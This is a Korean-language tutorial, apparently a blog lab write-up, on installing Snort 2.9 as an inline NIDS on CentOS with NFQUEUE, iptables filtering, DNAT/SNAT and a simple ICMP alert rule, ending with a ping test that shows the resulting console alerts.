[root@nids ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.101.101 web1.linuxmaster.net web1

네트워크 정보를 확인한다.
[root@web1 ~]# hostname
web1.linuxmaster.net

[root@web1 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:56:b8:5e brd ff:ff:ff:ff:ff:ff
    inet 192.168.101.101/24 brd 192.168.101.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::53aa:a8fb:b522:8f03/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

[root@web1 ~]# ip route
default via 192.168.101.253 dev ens33 proto static metric 100 
192.168.101.0/24 dev ens33 proto kernel scope link src 192.168.101.101 metric 100 

2. 통신 확인
nids 에서 외부로 통신이 되는지 확인한다.
- 여기서는 통신이 되는게 정상이다.
[root@nids ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=40.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=40.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=41.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=40.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 40.563/40.937/41.419/0.369 ms

web1 에서 게이트웨이와 통신이 되는지 확인한다.
- 여기서는 통신이 되는게 정상이다.
[root@web1 ~]# ping 192.168.101.253 -c 4
PING 192.168.101.253 (192.168.101.253) 56(84) bytes of data.
64 bytes from 192.168.101.253: icmp_seq=1 ttl=64 time=0.402 ms
64 bytes from 192.168.101.253: icmp_seq=2 ttl=64 time=0.312 ms
64 bytes from 192.168.101.253: icmp_seq=3 ttl=64 time=0.314 ms
64 bytes from 192.168.101.253: icmp_seq=4 ttl=64 time=0.315 ms

--- 192.168.101.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 0.312/0.335/0.402/0.044 ms

web1 에서 외부로 통신이 되는지 확인한다.
- 여기서는 통신이 안되는게 정상이다.
[root@web1 ~]# ping 8.8.8.8 -c 4
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 2999ms

3. NIDS 설치
EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
[root@nids ~]# yum -y install epel-release

snort 를 설치하기 위한 필요한 패키지를 설치한다.
[root@nids ~]# yum -y install gcc flex bison zlib zlib-devel libpcap \
libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel

NIDS로 snort 를 설치하기 위해 아래 패키지들을 설치한다.
[root@nids ~]# yum -y install libnetfilter_queue libnetfilter_queue-devel libmnl

패키지 확인
패키지들의 설치여부를 확인한다.
[root@nids ~]# rpm -q gcc flex bison zlib zlib-devel libpcap \
libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel \
libnetfilter_queue libnetfilter_queue-devel libmnl

snort 업로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있으므로 참고한다.


snort 홈페이지는 최신버전으로 나와있으므로 직접 배포한 파일을 업로드한다.
daq-2.0.6.tar.gz, snort-2.9.11.1.tar.gz 파일을 WinSCP로 firewall(NIDS) 서버에 업로드 한다.

컴파일 및 설치
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용

현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어로 시간을 설정한다.
[root@nids ~]# yum -y install rdate
[root@nids ~]# rdate -s time.bora.net

daq-2.0.6.tar.gz 파일의 압축을 해제하고 압축이 풀린 디렉터리로 들어가서 소스 컴파일을 한다.
[root@nids ~]# tar xzf daq-2.0.6.tar.gz 
[root@nids ~]# cd daq-2.0.6
[root@nids daq-2.0.6]# ls /usr/local/bin/
[root@nids daq-2.0.6]# ./configure && make && make install 
[root@nids daq-2.0.6]# ls /usr/local/bin -l
합계 4
-rwxr-xr-x. 1 root root 645  3월 17 17:13 daq-modules-config
[root@nids daq-2.0.6]# cd ..

snort-2.9.11.1.tar.gz 파일의 압축을 해제하고 압축이 풀린 디렉터리로 들어가서 소스 컴파일을 한다.
[root@nids ~]# tar xzf snort-2.9.11.1.tar.gz 
[root@nids ~]# cd snort-2.9.11.1
[root@nids snort-2.9.11.1]# ./configure --enable-sourcefire && make && make install
[root@nids snort-2.9.11.1]# ls -l /usr/local/bin
합계 10340
-rwxr-xr-x. 1 root root      645  3월 17 17:13 daq-modules-config
-rwxr-xr-x. 1 root root 10511952  3월 17 17:17 snort
-rwxr-xr-x. 1 root root    26408  3월 17 17:17 u2boat
-rwxr-xr-x. 1 root root    36872  3월 17 17:17 u2spewfoo

DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
snort 가 저장된 /usr/local/bin 디렉터리가 환경변수 PATH에 설정되어 있으므로 명령어를 그냥 실행하면 실행된다.
[root@nids ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
                ~~~~~~~~~~~~~~

[root@nids ~]# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
nfq(v7): live inline multi         <-- NIDS에서 사용
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv

[root@nids ~]# ls -l /usr/local/lib/daq/
합계 228
-rwxr-xr-x. 1 root root   959  3월 17 17:13 daq_afpacket.la
-rwxr-xr-x. 1 root root 59160  3월 17 17:13 daq_afpacket.so
-rwxr-xr-x. 1 root root   915  3월 17 17:13 daq_dump.la
-rwxr-xr-x. 1 root root 29432  3월 17 17:13 daq_dump.so
-rwxr-xr-x. 1 root root   935  3월 17 17:13 daq_ipfw.la
-rwxr-xr-x. 1 root root 32872  3월 17 17:13 daq_ipfw.so
-rwxr-xr-x. 1 root root   966  3월 17 17:13 daq_nfq.la
-rwxr-xr-x. 1 root root 40704  3월 17 17:13 daq_nfq.so  <-- NIDS 에서 사용
-rwxr-xr-x. 1 root root   915  3월 17 17:13 daq_pcap.la
-rwxr-xr-x. 1 root root 37152  3월 17 17:13 daq_pcap.so

설치 확인
[root@nids ~]# snort -V

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.11.1 GRE (Build 268) 
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.5.3
           Using PCRE version: 8.32 2012-11-30
           Using ZLIB version: 1.2.7

설정 디렉터리 생성 및 룰 다운로드
rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며 
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후 
동일한 룰셋을 다운받을 수 있다.)
Community rules  : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다. 
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.

/etc/snort 디렉터리를 생성하고 /etc/snort 디렉터리로 이동한다.
[root@nids ~]# mkdir /etc/snort
[root@nids ~]# cd /etc/snort
[root@nids snort]# cp ~/snort-2.9.11.1/etc/* .

snort 사이트에서 community rules 파일을 다운로드 받는다.
[root@nids snort]# yum -y install wget
[root@nids snort]# wget https://www.snort.org/downloads/community/community-rules.tar.gz
[root@nids snort]# tar xzf community-rules.tar.gz 

community-rules 디렉터리를 rules 디렉터리로 이름을 변경한다.
[root@nids snort]# ls community-rules
[root@nids snort]# mv community-rules rules

화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 (white_list.rules) : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
블랙리스트 룰 (black_list.rules) : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
[root@nids snort]# touch rules/white_list.rules
[root@nids snort]# touch rules/black_list.rules

vim 설정
snort.conf를 컬러풀하게 보여주는 역할을 하기 위해서 vim 패키지를 설치한다.
[root@nids snort]# yum -y install vim
[root@nids snort]# vi /etc/vimrc 
  :
  :(생략)
set nu
set ai
set bg=dark
set sw=4
set ts=4
set cursorline
set expandtab
set fileencodings='utf8,euckr'
[root@nids snort]# alias vi=vim
[root@nids snort]# vi ~/.bashrc 
# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias vi='vim'   # 추가

# Source global definitions
if [ -f /etc/bashrc ]; then
	. /etc/bashrc
fi

설정파일 수정
ipvar HOME_NET : snort 에서 탐지할 목적지 네트워크/IP 주소를 설정한다.(200.200.200.0/24)
ipvar EXTERNAL_NET : snort 에서 탐지할 출발지 네트워크/IP 주소를 설정한다.(any)
ipvar RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.

[root@nids snort]# vi snort.conf 
#ipvar HOME_NET any
ipvar HOME_NET 200.200.200.0/24   <-- 변경

# 아래 나오는 RULE_PATH, SO_RULE_PATH, PREPROC_RULE_PATH 경로를 모두 
상대 경로(../)에서 절대 경로(/etc/snort/) 로 변경한다.
#var RULE_PATH ../rules
#var SO_RULE_PATH ../so_rules
#var PREPROC_RULE_PATH ../preproc_rules
var RULE_PATH /etc/snort/rules  
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules

# 아래 나오는 WHITE_LIST_PATH, BLACK_LIST_PATH 경로를 모두 
상대 경로(../)에서 절대 경로(/etc/snort/) 로 변경한다.
#var WHITE_LIST_PATH ../rules
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules

# 165번 라인쯤에 daq에 대한 주석이 있고 주석이 끝나는 부분 바로 아래에 4줄을 복사해서 nfq 설정을 넣어준다.
# config daq: <type>
# config daq_dir: <dir>
# config daq_mode: <mode>
# config daq_var: <var>
#
# <type> ::= pcap | afpacket | dump | nfq | ipq | ipfw
# <mode> ::= read-file | passive | inline
# <var> ::= arbitrary <name>=<value passed to DAQ
# <dir> ::= path as to where to look for DAQ module so's
config daq: nfq
config daq_dir: /usr/local/lib/daq 
config daq_mode: inline
config daq_var: queue=0

# 263번 라인 근처에 dynamicdetection을 주석으로 처리한다.
#dynamicdetection directory /usr/local/lib/snort_dynamicrules 

# 556번 라인근처에 local.rules는 빼고 
# local.rules 밑에서 부터 라인수를 확인해서 각자의 라인 번호를 확인한다.
# app-detect.rules 부터 x11.rules 까지 나머지를 모두 주석으로 처리한다.
#
# vi 에서 한번에 주석처리하기 : :시작줄번호,끝줄번호s/^/#
# 예) :558,661s/^/#
# 스크립트로 작성하면 sed 를 이용해서 자동화 처리를 이용할 수도 있다.
# 향후 Kali Linux Snort rules 파일들을 가져와서 설정한다. (주석 해제 가능)

다운로드 받은 community.rules를 local.rules 밑에 추가한다.

주석처리된 설정파일은 아래와 같다. 
include $RULE_PATH/local.rules
include $RULE_PATH/community.rules 

#include $RULE_PATH/app-detect.rules
#include $RULE_PATH/attack-responses.rules
#include $RULE_PATH/backdoor.rules
  : 
  : 나머지 룰 파일들을 모두 주석으로 처리한다.
  :(생략)
#include $RULE_PATH/web-php.rules
#include $RULE_PATH/x11.rules

설정이 완료되면 /etc/snort/rules/local.rules 파일을 생성한다.
[root@nids snort]# touch rules/local.rules

사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할 수 있게 허가권의 접근 권한을 설정한다.
[root@nids snort]# useradd -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS snort
[root@nids snort]# chown -R snort.snort /etc/snort
[root@nids snort]# chmod 700 /etc/snort
[root@nids snort]# ls -ld /etc/snort/
drwx------. 3 snort snort 284  3월 17 17:33 /etc/snort/
[root@nids snort]# cd

snort 설정확인
설정파일 실패 : 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공 : 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.

-T : 테스트 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-Q : 인라인 모드 옵션(Enable inline mode operation.)

[root@nids ~]# snort --help
[root@nids ~]# snort -T -u snort -g snort -c /etc/snort/snort.conf -Q
  :
  :(생략)
Snort successfully validated the configuration!
Snort exiting

룰 설정
local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위 
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해서 배포하는 탐지 규칙에서 사용
1,000,001 이상  : 사용자가 탐지 규칙을 설정할 때 만들어서 사용
[root@nids ~]# vi /etc/snort/rules/local.rules 
alert icmp any any -> any any (msg: "ICMP ping test"; sid: 1000001)

4. 방화벽 설정
firewalld는 중지하고 iptables-services 패키지를 설치해서 사용한다.
[root@nids ~]# systemctl stop firewalld
[root@nids ~]# systemctl disable firewalld
[root@nids ~]# yum -y install iptables-services 
[root@nids ~]# systemctl enable iptables

iptables 에서 아래 내용을 복사해서 실행한다. 
WEB(80,443), SSH(22), ICMP
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j DROP
iptables-save > /etc/sysconfig/iptables

FORWARD 체인에 NFQUEUE를 등록한다.
NFQUEUE를 등록하지 않으면 통신이 안된다.
-t filter INPUT  : NIDS
-t filter OUTPUT : NIDS
-t filter FORWARD : WEB#1
[root@nids ~]# iptables -A FORWARD -j NFQUEUE -m comment --comment SNORT

[root@nids ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:443
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* SNORT */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
[root@nids ~]# cat /etc/sysconfig/iptables
# Generated by iptables-save v1.4.21 on Fri Mar 17 17:38:02 2023
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [2:240]
-A INPUT -m state --state INVALID -j DROP
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j DROP
COMMIT
# Completed on Fri Mar 17 17:38:02 2023

DNAT/SNAT를 설정한다.

200.200.200.101 공인 IP주소를 설정한다.
[root@nids ~]# nmtui
프로파일 이름: ens33
IPv4 설정       <수동> 
주소: 200.200.200.13/24
      200.200.200.101/24   <-- 추가한다.
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
[X] 자동으로 연결

[root@nids ~]# systemctl restart network
[root@nids ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:a6:a1:81 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.13/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::c010:3a35:3c56:2ed0/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:a6:a1:8b brd ff:ff:ff:ff:ff:ff
    inet 192.168.101.253/24 brd 192.168.101.255 scope global noprefixroute ens36
       valid_lft forever preferred_lft forever
    inet6 fe80::78e1:73d8:9e73:b50d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever


-t nat PREROUTING:  dst:200.200.200.101 -> dst: 192.168.101.101
-t nat POSTROUTING: src:192.168.101.101 -> src: 200.200.200.101
[root@nids ~]# iptables -t nat -A PREROUTING -d 200.200.200.101 -j DNAT --to 192.168.101.101
[root@nids ~]# iptables -t nat -A POSTROUTING -s 192.168.101.101 -j SNAT --to 200.200.200.101
[root@nids ~]# iptables-save > /etc/sysconfig/iptables

패킷을 영구적으로 포워딩하기 위해서는 /etc/systl.conf에 패킷 포워딩의 커널 파라미터 값을 설정해야 한다.
[root@nids ~]# vi /etc/sysctl.conf 
# /proc/sys/net/ipv4/ip_forward
# 0: 패킷 포워딩 금지 (Host)
# 1: 패킷 포워딩 허용 (NIDS)
net.ipv4.ip_forward = 1
[root@nids ~]# sysctl -p
net.ipv4.ip_forward = 1
[root@nids ~]# cat /proc/sys/net/ipv4/ip_forward
1

5. 설정 확인
설정이 완료되면 서버를 재부팅해서 방화벽룰이 잘 올라오는지 확인한다.
[root@nids ~]# reboot

Connecting to 200.200.200.13:22...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.

WARNING! The remote SSH server rejected X11 forwarding request.
Last login: Fri Mar 17 16:48:01 2023 from 200.200.200.1

filter 테이블의 룰을 확인해서 아래처럼 설정이 되면 성공이다.
[root@nids ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:443
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* SNORT */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination  

nat 테이블의 룰을 확인해서 아래처럼 설정이 되면 성공이다.
[root@nids ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
DNAT       all  --  0.0.0.0/0            200.200.200.101      to:192.168.101.101

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination         
SNAT       all  --  192.168.101.101      0.0.0.0/0            to:200.200.200.101

패킷 포워딩을 확인해서 아래처럼 1이면 성공이다.
[root@nids ~]# cat /proc/sys/net/ipv4/ip_forward
1

6. snort 실행

DMZ망에 있는 WEB#1 서버가 외부로 ping test를 한다.

snort가 실행되지 않았기 때문에 외부로 ping test가 실패가 된다.
[root@web1 ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    <-- 패킷이 나가지 않는다.

snort에서 icmp 패킷을 탐지해서 console에 로그가 출력된다.
-q: 조용하게 처리
-A console: 룰이 탐지하면 console(화면)로 출력
-u snort: snort 사용자로 프로세스 실행
-g snort: snort 그룹으로 프로세스 실행
-c /etc/snort/snort.conf: 설정파일
-Q: 인라인 모드
[root@nids ~]# snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q

snort가 실행되면 WEB#1에서 외부로 ping test를 다시 확인하면 패킷이 잘 통신이 되는걸 확인할 수 있다.
[root@web1 ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=43.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=42.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=42.0 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=41.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 41.575/42.597/43.940/0.900 ms

[root@nids ~]# snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q
10/17-13:13:07.775712  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:07.819091  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
10/17-13:13:08.776194  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:08.818447  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
10/17-13:13:09.777646  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:09.819317  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
10/17-13:13:10.778419  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:10.819430  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
profile
정보보안 전문가

0개의 댓글